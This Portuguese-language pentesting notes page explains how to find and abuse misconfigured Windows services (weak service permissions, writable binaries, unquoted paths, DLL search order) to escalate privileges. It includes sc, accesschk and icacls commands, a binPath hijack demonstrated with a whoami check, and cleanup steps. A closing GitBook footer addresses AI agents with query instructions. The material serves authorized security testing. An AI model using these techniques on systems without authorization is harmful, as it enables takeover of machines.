> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/vulnerable-services-and-processes/windows-service-misconfigurations.md).

# Más Configurações de Serviços do Windows

Serviços são um dos caminhos mais comuns de escalada de privilégios no Windows porque muitas vezes são executados como `LocalSystem` enquanto apontam para arquivos ou permissões que usuários comuns podem influenciar.

## O que Confirmar

Antes de mudar qualquer coisa, confirme quatro coisas:

* O serviço é executado com uma conta privilegiada como `LocalSystem`, `LocalService`, `NetworkService`, ou um administrador local/domínio.
* Você pode modificar a configuração do serviço, o executável do serviço ou um caminho pai usado durante a inicialização.
* Você pode reiniciar o serviço, acionar a aplicação ou aguardar uma reinicialização.
* O caminho e a arquitetura correspondem ao payload ou binário de validação que você pretende executar.

## Enumerar Serviços

```cmd
sc query state= all
sc qc <service_name>
sc sdshow <service_name>
wmic service get name,displayname,startname,state,pathname
```

```powershell
Get-WmiObject Win32_Service |
  Select-Object Name,StartName,State,PathName |
  Sort-Object StartName,Name
```

## Configuração Fraca do Serviço

Se seu usuário puder alterar o caminho binário do serviço e o serviço for executado com privilégios elevados, aponte-o primeiro para um comando de validação autorizado.

```cmd
sc qc <service_name>
sc config <service_name> binPath= "cmd /c whoami > C:\Windows\Temp\svc-check.txt"
sc stop <service_name>
sc start <service_name>
type C:\Windows\Temp\svc-check.txt
```

AccessChk é útil para ler permissões de serviço em um formato mais claro:

```cmd
accesschk.exe /accepteula -uwcqv <user_or_group> <service_name>
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
```

Direitos interessantes incluem `SERVICE_CHANGE_CONFIG`, `SERVICE_START`, `SERVICE_STOP`, e amplo acesso de gravação para `Users`, `Usuários Autenticados` , ou `Todos`.

## Binário de Serviço Gravável

Se o executável do serviço for gravável, mantenha uma cópia do arquivo original, substitua-o apenas no escopo do teste e restaure-o depois de validar.

```cmd
sc qc <service_name>
icacls "C:\Path\To\Service.exe"
copy "C:\Path\To\Service.exe" C:\Windows\Temp\Service.exe.bak
```

```powershell
Get-Acl "C:\Path\To\Service.exe" | Format-List
```

## Caminho de Serviço Sem Aspas

Um caminho sem aspas é interessante quando contém espaços e o Windows pode procurar um diretório pai gravável antes de chegar ao executável real.

```cmd
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
```

Exemplo de forma vulnerável:

```
C:\Program Files\Vendor App\Service Folder\service.exe
```

Verifique as permissões de gravação em cada diretório pai:

```cmd
icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Vendor App"
```

Nomes que podem ser pesquisados incluem:

```
C:\Program.exe
C:\Program Files\Vendor.exe
C:\Program Files\Vendor App\Service.exe
```

## Problemas na Ordem de Busca de DLLs

Alguns serviços carregam DLLs pelo nome em vez do caminho completo. Isso se torna explorável quando um diretório gravável é pesquisado antes do local legítimo da DLL.

```cmd
procmon.exe
```

Filtre por:

```
Nome do Processo é <service.exe>
Resultado é NAME NOT FOUND
O caminho termina com .dll
```

## Verificações Automatizadas

```powershell
Import-Module .\PowerUp.ps1
comando Invoke-AllChecks
```

```cmd
winPEASx64.exe servicesinfo
```

## Limpeza

```cmd
sc config <service_name> binPath= "<original_binary_path>"
sc start <service_name>
del C:\Windows\Temp\svc-check.txt
```

## Pontos-chave

* Um serviço gravável só é útil se for executado com privilégios mais altos.
* A capacidade de reiniciar importa. Sem ela, observe se uma reinicialização ou o uso do aplicativo acionará o serviço.
* As descobertas de caminho de serviço devem incluir o caminho exato, a evidência de permissão, a conta do serviço e a condição de acionamento.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/vulnerable-services-and-processes/windows-service-misconfigurations.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
